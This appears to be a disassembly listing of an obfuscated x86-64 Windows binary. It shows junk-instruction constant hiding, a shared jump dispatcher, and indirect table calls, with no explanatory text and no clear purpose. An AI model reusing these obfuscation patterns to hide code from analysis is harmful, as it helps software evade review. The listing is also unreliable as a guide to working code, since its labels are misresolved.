movss xmm1, dword [rsp + 0x64]
subss xmm1, dword [rsp + 0x68]
divss xmm0, xmm1
movss dword [rsp + 0x134], xmm0
movss xmm0, dword [0x140118940]
movss dword [rsp + 0x138], xmm0
movss xmm0, dword [0x140118974]
movss dword [rsp + 0x13c], xmm0
lea rax, [rsp + 0x100]
mov rdi, qword [rsp + 0x170]
mov rsi, rax
mov ecx, 0x434579cf
pushf
not ecx
add ecx, 0x9a88535d
xor ecx, 0xbd636bd5
rol ecx, 0x55
popf
pushf
not ecx
add ecx, 0xdf8d707d
xor ecx, 0x90702c46
rol ecx, 0x4c
popf
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov rax, qword [rax + 0x78]
mov qword [rsp + 0x178], rax
xor r8d, r8d
mov rax, qword [rsp + 0x38]
mov rdx, qword [rax + 0x38]
mov rcx, qword [rsp + 0x30]
jmp 0x1403c0453
call qword [rsp + 0x178]
lea rax, [rsp + 0x310]
mov rdi, rax
xor eax, eax
mov ecx, 0x7dd16d3c
pushf
not ecx
add ecx, 0xae9bff44
xor ecx, 0xb6759b36
rol ecx, 0x19
popf
pushf
not ecx
add ecx, 0xed95a5fd
xor ecx, 0xe285abd4
rol ecx, 0xfb
popf
pushf
not ecx
add ecx, 0xe47bfcdf
xor ecx, 0xf7f1907d
rol ecx, 0x52
popf
rep stosb byte [rdi], al
mov dword [rsp + 0x314], reloc.WS2_32.dll_recv
mov eax, dword [rsp + 0x314]
mov dword [rsp + 0x310], eax
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov rax, qword [rax + 0x300]
mov qword [rsp + 0x180], rax
lea r8, [rsp + 0x318]
lea rdx, [rsp + 0x310]
mov rcx, qword [rsp + 0x30]
jmp 0x1403c04f3
call qword [rsp + 0x180]
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov rax, qword [rax + 0x2f8]
mov qword [rsp + 0x188], rax
lea r8, [rsp + 0x418]
lea rdx, [rsp + 0x314]
mov rcx, qword [rsp + 0x30]
jmp 0x1403c0527
call qword [rsp + 0x188]
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov rax, qword [rax + 0x2f0]
mov qword [rsp + 0x190], rax
lea rdx, [rsp + 0x598]
mov rcx, qword [rsp + 0x30]
jmp 0x1403c0553
call qword [rsp + 0x190]
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov rax, qword [rax + 0x2d8]
mov qword [rsp + 0x198], rax
lea r9, [rsp + 0x5b8]
lea r8, [rsp + 0x5a8]
lea rdx, [rsp + 0x5a0]
mov rcx, qword [rsp + 0x30]
jmp 0x1403c058f
call qword [rsp + 0x198]
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov rax, qword [rax + 0x2e0]
mov qword [rsp + 0x1a0], rax
lea r8, [rsp + 0x5bc]
lea rdx, [rsp + 0x5c0]
mov rcx, qword [rsp + 0x30]
jmp 0x1403c05c3
call qword [rsp + 0x1a0]
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov rax, qword [rax + 0x248]
mov qword [rsp + 0x1a8], rax
lea r9, [rsp + 0x5c8]
mov r8d, 0xfd1d0247
pushf
not r8d
add r8d, 0xbad60a7a
xor r8d, 0xd79f6814
rol r8d, 0x1a
popf
pushf
not r8d
add r8d, 0xee4673a9
xor r8d, 0xe504a7f6
rol r8d, 0x61
popf
pushf
not r8d
add r8d, 0xf0eef8f9
xor r8d, 0x8dbbfd1b
rol r8d, 0x3b
popf
xor edx, edx
mov rcx, qword [rsp + 0x30]
jmp 0x1403c0642
call qword [rsp + 0x1a8]
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov rax, qword [rax + 0x258]
mov qword [rsp + 0x1b0], rax
lea r9, [rsp + 0x5d0]
mov r8d, 0x8b658498
pushf
not r8d
add r8d, 0xe072b4e6
xor r8d, 0xdc10d857
rol r8d, 0x9f
popf
pushf
not r8d
add r8d, 0xe2bd428f
xor r8d, 0x9e2e4e85
rol r8d, 0x1e
popf
xor edx, edx
mov rcx, qword [rsp + 0x30]
jmp 0x1403c06a8
call qword [rsp + 0x1b0]
mov dword [rsp + 0x5f8], 0x100
mov eax, dword [rsp + 0x5f8]
mov dword [rsp + 0x5f4], eax
mov eax, dword [rsp + 0x5f4]
mov dword [rsp + 0x5f0], eax
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov rax, qword [rax + 0x250]
mov qword [rsp + 0x1b8], rax
lea r9, [rsp + 0x5f0]
lea r8, [rsp + 0x600]
lea rdx, [rsp + 0x5d8]
mov rcx, qword [rsp + 0x30]
jmp 0x1403c070b
call qword [rsp + 0x1b8]
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov rax, qword [rax + 0x260]
mov qword [rsp + 0x1c0], rax
lea r9, [rsp + 0x5f4]
lea r8, [rsp + 0xe00]
lea rdx, [rsp + 0x5e0]
mov rcx, qword [rsp + 0x30]
jmp 0x1403c0747
call qword [rsp + 0x1c0]
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov rax, qword [rax + 0x240]
mov qword [rsp + 0x1c8], rax
lea r9, [rsp + 0x1e18]
mov r8d, 0x54c650b5
pushf
not r8d
add r8d, 0x9546dbf9
xor r8d, 0x9b2f1888
rol r8d, 0x7e
popf
pushf
not r8d
add r8d, 0xb6f23b80
xor r8d, 0xe6de82aa
rol r8d, 0xc0
popf
pushf
not r8d
add r8d, 0xd89bb57b
xor r8d, 0xc417a8b7
rol r8d, 0xf9
popf
pushf
not r8d
add r8d, 0xc3c1259a
xor r8d, 0xfbd57b06
rol r8d, 0x88
popf
xor edx, edx
mov rcx, qword [rsp + 0x30]
jmp 0x1403c07df
call qword [rsp + 0x1c8]
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov rax, qword [rax + 0x290]
mov qword [rsp + 0x1d0], rax
lea r9, [rsp + 0x5f8]
lea r8, [rsp + 0x1600]
lea rdx, [rsp + 0x5e8]
mov rcx, qword [rsp + 0x30]
jmp 0x1403c081b
call qword [rsp + 0x1d0]
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov rax, qword [rax + 0x298]
mov qword [rsp + 0x1d8], rax
lea rdx, [rsp + 0x1e00]
mov rcx, qword [rsp + 0x30]
jmp 0x1403c0847
call qword [rsp + 0x1d8]
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov rax, qword [rax + 0x280]
mov qword [rsp + 0x1e0], rax
lea r9, [rsp + 0x1e20]
lea r8, [rsp + 0x1e2c]
lea rdx, [rsp + 0x1e08]
mov rcx, qword [rsp + 0x30]
jmp 0x1403c0883
call qword [rsp + 0x1e0]
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov rax, qword [rax + 0x278]
mov qword [rsp + 0x1e8], rax
lea rax, [rsp + 0x1e28]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x1e24]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x1e10]
mov r8d, 0xe425c9bd
pushf
not r8d
add r8d, 0xd3f0aee3
xor r8d, 0xe7aa4fa7
rol r8d, 0x92
popf
pushf
not r8d
add r8d, 0xef3ef300
xor r8d, 0xc9d856a1
rol r8d, 0x64
popf
pushf
not r8d
add r8d, 0x99da987f
xor r8d, 0xca721ab6
rol r8d, 9
popf
xor edx, edx
mov rcx, qword [rsp + 0x30]
jmp 0x1403c091c
call qword [rsp + 0x1e8]
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov rax, qword [rax + 0x270]
mov qword [rsp + 0x1f0], rax
lea rdx, [rsp + 0x1e30]
mov rcx, qword [rsp + 0x30]
jmp 0x1403c0948
call qword [rsp + 0x1f0]
mov rdx, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x1e60]
call fcn.140238a9b
mov dword [rsp + 0x6c], 0
mov dword [rsp + 0x70], 0
mov rax, qword [rsp + 0x1e60]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x98], rax
mov dword [rsp + 0x54], 0
jmp 0x1403c0a29
mov eax, dword [rsp + 0x54]
jmp 0x1403c09f0
inc eax
mov dword [rsp + 0x54], eax
push rax
pushf
mov eax, 0x2e3608d2
pushf
not eax
add eax, 0x855dd6e3
xor eax, 0xa14d5c0c
rol eax, 0x60
popf
pushf
not eax
add eax, 0xc9f14685
xor eax, 0xbf86b468
rol eax, 0xa6
popf
jmp 0x1403bece5
mov rax, qword [rsp + 0x1e60]
mov eax, dword [rax + 4]
cmp dword [rsp + 0x54], eax
jge 0x1403c0a84
push rax
pushf
mov eax, 0x4d2fd01b
pushf
not eax
add eax, 0xe964bea9
xor eax, 0xb4f20820
rol eax, 0xcc
popf
pushf
not eax
add eax, 0xefbf8e82
xor eax, 0xe06bceeb
rol eax, 0x21
popf
pushf
not eax
add eax, 0x938a5082
xor eax, 0xd10b7a45
rol eax, 0x38
popf
jmp 0x1403bece5
push rax
pushf
mov eax, 0x120f0a1a
pushf
not eax
add eax, 0xf591488f
xor eax, 0xb424b9d5
rol eax, 0xae
popf
pushf
not eax
add eax, 0xb6e6c9cc
xor eax, 0xe6380726
rol eax, 0xca
popf
pushf
not eax
add eax, 0xacdc6715
xor eax, 0xe30f2b91
rol eax, 0x47
popf
pushf
not eax
add eax, 0xb8ac28d9
xor eax, 0x9c6fbca0
rol eax, 8
popf
jmp 0x1403bece5
movsxd rax, dword [rsp + 0x54]
mov rcx, qword [rsp + 0x1e60]
mov rcx, qword [rcx + 0x10]
mov rax, qword [rcx + rax*8]
mov qword [rsp + 0x90], rax
mov dword [rsp + 0x58], 0
jmp 0x1403c0b75
mov eax, dword [rsp + 0x58]
jmp 0x1403c0b3c
inc eax
mov dword [rsp + 0x58], eax
push rax
pushf
mov eax, 0xaca50fd2
pushf
not eax
add eax, 0xfc213106
xor eax, 0xdf891e10
rol eax, 0x34
popf
pushf
not eax
add eax, 0xa16d7cef
xor eax, 0xaf346d85
rol eax, 0x60
popf
jmp 0x1403bece5
mov rax, qword [rsp + 0x90]
mov eax, dword [rax]
cmp dword [rsp + 0x58], eax
jge 0x1403c0bbc
push rax
pushf
mov eax, 0x8f751811
pushf
not eax
add eax, 0xadbb6706
xor eax, 0xb8b6df8a
rol eax, 0x2c
popf
pushf
not eax
add eax, 0x915e6fdc
xor eax, 0x87c6856c
rol eax, 0x89
popf
jmp 0x1403bece5
push rax
pushf
mov eax, 0x6c049bd5
pushf
not eax
add eax, 0xba47445c
xor eax, 0xd0b482f6
rol eax, 0xeb
popf
pushf
not eax
add eax, 0x95a512d5
xor eax, 0xed219abf
rol eax, 0xb
popf
pushf
not eax
add eax, 0xf06ff3ca
xor eax, 0x82cf6223
rol eax, 0x7b
popf
pushf
not eax
add eax, 0x9db90a56
xor eax, 0xae4fae4b
rol eax, 0x14
popf
jmp 0x1403bece5
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x1f8], rax
movsxd rax, dword [rsp + 0x58]
imul rax, rax, 0x38
mov rcx, qword [rsp + 0x1f8]
add rax, qword [rcx + 8]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
cmp qword [rax + 0x28], 0
je 0x1403c0ca4
push rax
pushf
mov eax, 0x268ab313
pushf
not eax
add eax, 0xcd861d8f
xor eax, 0xa5d1d6fb
rol eax, 0x55
popf
pushf
not eax
add eax, 0x866e8599
xor eax, 0xa7e136bc
rol eax, 0x4a
popf
pushf
not eax
add eax, 0x80b4d29a
xor eax, 0xe630e09f
rol eax, 0xc3
popf
pushf
not eax
add eax, 0xacef334a
xor eax, 0x99ed44e4
rol eax, 0x4f
popf
jmp 0x1403bece5
push rax
pushf
mov eax, 0xb17e04e4
pushf
not eax
add eax, 0x8936f57b
xor eax, 0xc3d59fe2
rol eax, 0x26
popf
pushf
not eax
add eax, 0xab9b2841
xor eax, 0x902d4b3b
rol eax, 0xf1
popf
jmp 0x1403bece5
mov rax, qword [rsp + 0x48]
cmp qword [rax + 0x28], 0xffffffffffffffff
jne 0x1403c0d3c
push rax
pushf
mov eax, 0xc68363e7
pushf
not eax
add eax, 0xf5ba7033
xor eax, 0xcf23fa84
rol eax, 0x76
popf
pushf
not eax
add eax, 0xf43ba7b0
xor eax, 0x8439f977
rol eax, 0xf
popf
pushf
not eax
add eax, 0x97996b1a
xor eax, 0xcc99f7e8
rol eax, 0x80
popf
pushf
not eax
add eax, 0x84bac9a5
xor eax, 0xdf234a70
rol eax, 0xcd
popf
jmp 0x1403bece5
push rax
pushf
mov eax, 0x53e141ad
pushf
not eax
add eax, 0xf957a5f3
xor eax, 0x9418c15a
rol eax, 0xec
popf
pushf
not eax
add eax, 0xbcb76c17
xor eax, 0xffcef362
rol eax, 0x79
popf
pushf
not eax
add eax, 0xb16458ac
xor eax, 0xe8f7dd0e
rol eax, 0xc3
popf
pushf
not eax
add eax, 0xd2095477
xor eax, 0xa2137fae
rol eax, 0x35
popf
jmp 0x1403bece5
mov rdx, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x1e60]
call fcn.140238a9b
jmp 0x1403c0e4b
mov rax, qword [rsp + 0x48]
mov rax, qword [rax + 0x28]
mov qword [rsp + 0x200], rax
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x90]
jmp 0x1403c0e11
call qword [rsp + 0x200]
push rax
pushf
mov eax, 0xaa72afc1
pushf
not eax
add eax, 0xd1af2f05
xor eax, 0xaef0e8d1
rol eax, 0xf6
popf
pushf
not eax
add eax, 0xcb1e3fc4
xor eax, 0xe44bcc9e
rol eax, 0x4c
popf
jmp 0x1403bece5
jmp 0x1403c12b8
mov rax, qword [rsp + 0x48]
movss xmm0, dword [rax + 4]
subss xmm0, dword [rsp + 0x9c]
movss dword [rsp + 0xa8], xmm0
mov rax, qword [rsp + 0x48]
movss xmm0, dword [rax]
subss xmm0, dword [rsp + 0x98]
movss dword [rsp + 0xa0], xmm0
movss xmm0, dword [rsp + 0xa0]
movss dword [rsp + 0x80], xmm0
movss xmm0, dword [rsp + 0xa8]
movss dword [rsp + 0x84], xmm0
mov rax, qword [rsp + 0x48]
movss xmm0, dword [rax + 0xc]
subss xmm0, dword [rsp + 0x9c]
movss dword [rsp + 0xb8], xmm0
mov rax, qword [rsp + 0x48]
movss xmm0, dword [rax + 8]
subss xmm0, dword [rsp + 0x98]
movss dword [rsp + 0xb0], xmm0
movss xmm0, dword [rsp + 0xb0]
movss dword [rsp + 0x88], xmm0
movss xmm0, dword [rsp + 0xb8]
movss dword [rsp + 0x8c], xmm0
movss xmm0, dword [rsp + 0x88]
comiss xmm0, dword [rsp + 0x80]
jbe 0x1403c0fa6
push rax
pushf
mov eax, 0x8a71344b
pushf
not eax
add eax, 0x9a44e158
xor eax, 0xc192aa31
rol eax, 0x3e
popf
pushf
not eax
add eax, 0xd01d98c1
xor eax, 0x8daa8c75
rol eax, 0xbc
popf
pushf
not eax
add eax, 0x8e07ee5e
xor eax, 0x93c53b2c
rol eax, 0x9f
popf
pushf
not eax
add eax, 0xe8bdf453
xor eax, 0xff00ce86
rol eax, 0x50
popf
jmp 0x1403bece5
push rax
pushf
mov eax, 0x51ad2355
pushf
not eax
add eax, 0xad97d46d
xor eax, 0xd7abddcc
rol eax, 0x90
popf
pushf
not eax
add eax, 0xcb6225fe
xor eax, 0x90f81d22
rol eax, 0x51
popf
pushf
not eax
add eax, 0xbbf97cfc
xor eax, 0xb29ddffe
rol eax, 0x90
popf
jmp 0x1403bece5
movss xmm0, dword [rsp + 0x8c]
comiss xmm0, dword [rsp + 0x84]
ja 0x1403c1058
push rax
pushf
mov eax, 0x123ec715
pushf
not eax
add eax, 0x9180549f
xor eax, 0xdb8cb8de
rol eax, 0xac
popf
pushf
not eax
add eax, 0xc894a6d6
xor eax, 0xdbbc50d1
rol eax, 0x53
popf
pushf
not eax
add eax, 0xc8e5596f
xor eax, 0xa6e6e958
rol eax, 0xce
popf
pushf
not eax
add eax, 0xf6f33ba1
xor eax, 0x83f06b6e
rol eax, 0x65
popf
jmp 0x1403bece5
push rax
pushf
mov eax, 0x5ff692af
pushf
not eax
add eax, 0xa8391413
xor eax, 0xd9d6e57f
rol eax, 0x50
popf
pushf
not eax
add eax, 0xfbe7caac
xor eax, 0xac165023
rol eax, 0x60
popf
pushf
not eax
add eax, 0x832d2617
xor eax, 0xfee6ebed
rol eax, 0xa2
popf
pushf
not eax
add eax, 0xa50e1593
xor eax, 0xbf50b954
rol eax, 0x4d
popf
jmp 0x1403bece5
jmp 0x1403c0b37
cvttss2si eax, dword [rsp + 0x80]
mov dword [rsp + 0xd0], eax
cvttss2si eax, dword [rsp + 0x84]
mov dword [rsp + 0xd4], eax
cvttss2si eax, dword [rsp + 0x88]
mov dword [rsp + 0xd8], eax
cvttss2si eax, dword [rsp + 0x8c]
mov dword [rsp + 0xdc], eax
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov rax, qword [rax + 0x168]
mov qword [rsp + 0x208], rax
lea r8, [rsp + 0xd0]
mov edx, 0xde8e37e8
pushf
not edx
add edx, 0x9f8b1c22
xor edx, 0xbfbe9e11
rol edx, 0xe8
popf
pushf
not edx
add edx, 0x9bb1113f
xor edx, 0xaf6b63ff
rol edx, 0x5c
popf
pushf
not edx
add edx, 0xaa26dcb2
xor edx, 0x9a949321
rol edx, 0x8f
popf
pushf
not edx
add edx, 0xa3f742cd
xor edx, 0xdb8946a2
rol edx, 0x36
popf
mov rcx, qword [rsp + 0x30]
jmp 0x1403c11cd
call qword [rsp + 0x208]
mov rax, qword [rsp + 0x48]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x210], rax
mov rax, qword [rsp + 0x210]
mov qword [rsp + 0x218], rax
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x220], rax
lea r9, [rsp + 0x218]
mov r8d, 0xd1ed4752
pushf
not r8d
add r8d, 0xcca3a3c9
xor r8d, 0x80571ae9
rol r8d, 0xaa
popf
pushf
not r8d
add r8d, 0x81043217
xor r8d, 0xe66393f6
rol r8d, 0xc3
popf
pushf
not r8d
add r8d, 0xbcb15332
xor r8d, 0xd1601449
rol r8d, 0x48
popf
xor edx, edx
mov rcx, qword [rsp + 0x30]
jmp 0x1403c126a
call qword [rsp + 0x220]
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov rax, qword [rax + 0x60]
mov qword [rsp + 0x228], rax
mov rax, qword [rsp + 0x48]
mov eax, dword [rax + 0x18]
add eax, dword [rsp + 0x70]
mov rcx, qword [rsp + 0x48]
mov ecx, dword [rcx + 0x1c]
add ecx, dword [rsp + 0x6c]
mov r9d, eax
mov r8d, ecx
mov rax, qword [rsp + 0x48]
mov edx, dword [rax + 0x20]
mov rcx, qword [rsp + 0x30]
jmp 0x1403c12b1
call qword [rsp + 0x228]
jmp 0x1403c0b37
mov rax, qword [rsp + 0x90]
mov eax, dword [rax + 0x10]
mov ecx, dword [rsp + 0x6c]
push rax
not eax
sub ecx, eax
pop rax
sub ecx, 1
mov eax, ecx
mov dword [rsp + 0x6c], eax
mov rax, qword [rsp + 0x90]
mov eax, dword [rax + 0x20]
mov ecx, dword [rsp + 0x70]
push rax
not eax
sub ecx, eax
pop rax
sub ecx, 1
mov eax, ecx
mov dword [rsp + 0x70], eax
jmp 0x1403c09eb
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov rax, qword [rax + 0x168]
mov qword [rsp + 0x230], rax
lea r8, [rsp + 0x318]
mov edx, dword [rsp + 0x310]
mov rcx, qword [rsp + 0x30]
jmp 0x1403c135d
call qword [rsp + 0x230]
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov rax, qword [rax + 0x160]
mov qword [rsp + 0x238], rax
lea r8, [rsp + 0x418]
mov edx, dword [rsp + 0x314]
mov rcx, qword [rsp + 0x30]
jmp 0x1403c1390
call qword [rsp + 0x238]
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov rax, qword [rax + 0x158]
mov qword [rsp + 0x240], rax
mov rdx, qword [rsp + 0x598]
mov rcx, qword [rsp + 0x30]
jmp 0x1403c13bc
call qword [rsp + 0x240]
cmp qword [rsp + 0x598], 0
je 0x1403c1414
push rax
pushf
mov eax, 0x8f7676ae
pushf
not eax
add eax, 0xf2067777
xor eax, 0xc0ce70b8
rol eax, 0x2e
popf
pushf
not eax
add eax, 0xccf8bcb1
xor eax, 0xc9ab5d0d
rol eax, 4
popf
pushf
not eax
add eax, 0xd6d2475d
xor eax, 0x9f55b60f
rol eax, 0xc4
popf
jmp 0x1403bece5
push rax
pushf
mov eax, 0x8defcc56
pushf
not eax
add eax, 0xbf983f6c
xor eax, 0xcb169f3b
rol eax, 7
popf
pushf
not eax
add eax, 0xf20b9b85
xor eax, 0xb498128d
rol eax, 0xc8
popf
pushf
not eax
add eax, 0xb943dc6e
xor eax, 0xeda85124
rol eax, 0x3c
popf
pushf
not eax
add eax, 0xff71c531
xor eax, 0xde9174fa
rol eax, 0x69
popf
jmp 0x1403bece5
mov rax, qword [rsp + 0x598]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x598]
jmp 0x1403c1481
call qword [rax + reloc.WS2_32.dll_recv]
push rax
pushf
mov eax, 0x3c8454fc
pushf
not eax
add eax, 0x98efaeae
xor eax, 0xe6c31817
rol eax, 0x16
popf
pushf
not eax
add eax, 0xeb6a6875
xor eax, 0x81b17e64
rol eax, 0xb2
popf
jmp 0x1403bece5
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov rax, qword [rax + 0x118]
mov qword [rsp + 0x248], rax
mov r9d, dword [rsp + 0x5b8]
lea r8, [rsp + 0x5a8]
mov rdx, qword [rsp + 0x5a0]
mov rcx, qword [rsp + 0x30]
jmp 0x1403c14ec
call qword [rsp + 0x248]
cmp qword [rsp + 0x5a0], 0
je 0x1403c1557
push rax
pushf
mov eax, 0x8b357264
pushf
not eax
add eax, 0x94117eb6
xor eax, 0xf6eb048c
rol eax, 3
popf
pushf
not eax
add eax, 0x8cb2b519
xor eax, 0xb5b443d2
rol eax, 0xb0
popf
pushf
not eax
add eax, 0xdd191518
xor eax, 0xf5e03bde
rol eax, 0x9b
popf
pushf
not eax
add eax, 0xa992f451
xor eax, 0xeebb056b
rol eax, 0x42
popf
jmp 0x1403bece5
push rax
pushf
mov eax, 0x44b9cf08
pushf
not eax
add eax, 0xdd0994e7
xor eax, 0xadc2853d
rol eax, 0x40
popf
pushf
not eax
add eax, 0x84515754
xor eax, 0x9959f93f
rol eax, 0x2d
popf
pushf
not eax
add eax, 0x974fe298
xor eax, 0xd965e204
rol eax, 0x5b
popf
jmp 0x1403bece5
mov rax, qword [rsp + 0x5a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5a0]
jmp 0x1403c15b1
call qword [rax + reloc.WS2_32.dll_recv]
push rax
pushf
mov eax, 0xb11b7c51
pushf
not eax
add eax, 0xef1c66fa
xor eax, 0xa816bc94
rol eax, 0xdb
popf
pushf
not eax
add eax, 0xf1cdcd61
xor eax, 0xe82a5081
rol eax, 0xea
popf
pushf
not eax
add eax, 0x84eae6c5
xor eax, 0xa7c78b30
rol eax, 0x53
popf
jmp 0x1403bece5
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov rax, qword [rax + 0x120]
mov qword [rsp + 0x250], rax
mov r8d, dword [rsp + 0x5bc]
mov rdx, qword [rsp + 0x5c0]
mov rcx, qword [rsp + 0x30]
jmp 0x1403c1627
call qword [rsp + 0x250]
cmp qword [rsp + 0x5c0], 0
je 0x1403c167f
push rax
pushf
mov eax, 0x6ef066fb
pushf
not eax
add eax, 0x8d390718
xor eax, 0xb0b567cb
rol eax, 0xb7
popf
pushf
not eax
add eax, 0x85030790
xor eax, 0xe1447b66
rol eax, 0x5e
popf
pushf
not eax
add eax, 0x9007d6cb
xor eax, 0xf30bd9d8
rol eax, 0xcc
popf
jmp 0x1403bece5
push rax
pushf
mov eax, 0xb31b92f4
pushf
not eax
add eax, 0x9d003143
xor eax, 0xbd512b62
rol eax, 0x20
popf
pushf
not eax
add eax, 0xb107acc8
xor eax, 0xef1dc66f
rol eax, 0x4a
popf
pushf
not eax
add eax, 0xf75aa86d
xor eax, 0xc692d4e7
rol eax, 0xfd
popf
jmp 0x1403bece5
mov rax, qword [rsp + 0x5c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5c0]
jmp 0x1403c16d9
call qword [rax + reloc.WS2_32.dll_recv]
push rax
pushf
mov eax, 0xca0f6d24
pushf
not eax
add eax, 0xa84cd77c
xor eax, 0xddc139fa
rol eax, 0x1c
popf
pushf
not eax
add eax, 0xd835fe52
xor eax, 0xf1cd0e5d
rol eax, 0xd5
popf
pushf
not eax
add eax, 0xb35674b3
xor eax, 0xb55deb73
rol eax, 0x16
popf
pushf
not eax
add eax, 0xa7811ec0
xor eax, 0xd7a1f425
rol eax, 0xc2
popf
jmp 0x1403bece5
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x258], rax
lea r9, [rsp + 0x5c8]
mov r8d, 0x91950516
pushf
not r8d
add r8d, 0x8ee57fdc
xor r8d, 0xb3681160
rol r8d, 0x10
popf
pushf
not r8d
add r8d, 0xfd9bcdbf
xor r8d, 0x91f63f86
rol r8d, 0xb2
popf
xor edx, edx
mov rcx, qword [rsp + 0x30]
jmp 0x1403c1791
call qword [rsp + 0x258]
cmp qword [rsp + 0x5c8], 0
je 0x1403c17fc
push rax
pushf
mov eax, 0x16a8e045
pushf
not eax
add eax, 0xeb931642
xor eax, 0xe6d94912
rol eax, 0x70
popf
pushf
not eax
add eax, 0x9c64d679
xor eax, 0xb2aa4c92
rol eax, 0xf2
popf
pushf
not eax
add eax, 0xbf697a66
xor eax, 0x962daf35
rol eax, 0xfd
popf
pushf
not eax
add eax, 0x89f3893c
xor eax, 0x98ae9b9b
rol eax, 0x81
popf
jmp 0x1403bece5
push rax
pushf
mov eax, 0x7f7d3c7c
pushf
not eax
add eax, 0xf54b7bd9
xor eax, 0xd958eee2
rol eax, 0x3e
popf
pushf
not eax
add eax, 0xad3528d2
xor eax, 0x8d08e0bb
rol eax, 0x53
popf
pushf
not eax
add eax, 0xa4a01c69
xor eax, 0xfdd3a4e8
rol eax, 0x9e
popf
jmp 0x1403bece5
mov rax, qword [rsp + 0x5c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5c8]
jmp 0x1403c1856
call qword [rax + reloc.WS2_32.dll_recv]
push rax
pushf
mov eax, 0xfb0f5ab1
pushf
not eax
add eax, 0xeab9e95b
xor eax, 0xbf54ec4d
rol eax, 0xfb
popf
pushf
not eax
add eax, 0xcf546e36
xor eax, 0xc69dfcce
rol eax, 0x3b
popf
pushf
not eax
add eax, 0xd83cb2d7
xor eax, 0xc8a4e973
rol eax, 0xe3
popf
pushf
not eax
add eax, 0xc870e434
xor eax, 0xe5f974d7
rol eax, 0xd4
popf
jmp 0x1403bece5
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov rax, qword [rax + 0x50]
mov qword [rsp + 0x260], rax
lea r9, [rsp + 0x5d0]
mov r8d, 0xd2e8691a
pushf
not r8d
add r8d, 0xdfc52086
xor r8d, 0x9d7d0f8b
rol r8d, 0x1b
popf
pushf
not r8d
add r8d, 0xc7133601
xor r8d, 0xc2872839
rol r8d, 0x90
popf
xor edx, edx
mov rcx, qword [rsp + 0x30]
jmp 0x1403c190e
call qword [rsp + 0x260]
cmp qword [rsp + 0x5d0], 0
je 0x1403c1953
push rax
pushf
mov eax, 0x21642705
pushf
not eax
add eax, 0xf29cc6de
xor eax, 0xaa036c2f
rol eax, 0xba
popf
pushf
not eax
add eax, 0xf33732f4
xor eax, 0x854a4325
rol eax, 0xc5
popf
jmp 0x1403bece5
push rax
pushf
mov eax, 0x489823f0
pushf
not eax
add eax, 0x8bac6497
xor eax, 0xe15f79c3
rol eax, 0x59
popf
pushf
not eax
add eax, 0xb62099de
xor eax, 0xf722a802
rol eax, 0xe0
popf
pushf
not eax
add eax, 0xfd5c318b
xor eax, 0xdf3b8621
rol eax, 0x8f
popf
jmp 0x1403bece5
mov rax, qword [rsp + 0x5d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5d0]
jmp 0x1403c19ad
call qword [rax + reloc.WS2_32.dll_recv]
push rax
pushf
mov eax, 0x4e7e4643
pushf
not eax
add eax, 0xd9ec6b3b
xor eax, 0x8fa4af9f
rol eax, 0x6d
popf
pushf
not eax
add eax, 0xb063a820
xor eax, 0xe524abfb
rol eax, 0xdb
popf
pushf
not eax
add eax, 0xac3b51af
xor eax, 0xd4d168b0
rol eax, 0x7c
popf
pushf
not eax
add eax, 0xde0694c5
xor eax, 0xa75dba3c
rol eax, 0x61
popf
jmp 0x1403bece5
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov rax, qword [rax + 0x48]
mov qword [rsp + 0x268], rax
mov r9d, dword [rsp + 0x5f0]
lea r8, [rsp + 0x600]
mov rdx, qword [rsp + 0x5d8]
mov rcx, qword [rsp + 0x30]
jmp 0x1403c1a3b
call qword [rsp + 0x268]
cmp qword [rsp + 0x5d8], 0
je 0x1403c1a93
push rax
pushf
mov eax, 0xfd238a2d
pushf
not eax
add eax, 0xb331b90c
xor eax, 0xf257452f
rol eax, 0x91
popf
pushf
not eax
add eax, 0xb5e273c6
xor eax, 0xdcc737c0
rol eax, 0x61
popf
pushf
not eax
add eax, 0xd3a0e2e9
xor eax, 0xd12ff942
rol eax, 0xd6
popf
jmp 0x1403bece5
push rax
pushf
mov eax, 0x96e9a7e5
pushf
not eax
add eax, 0xe1169d3d
xor eax, 0x910d4f08
rol eax, 0x2b
popf
pushf
not eax
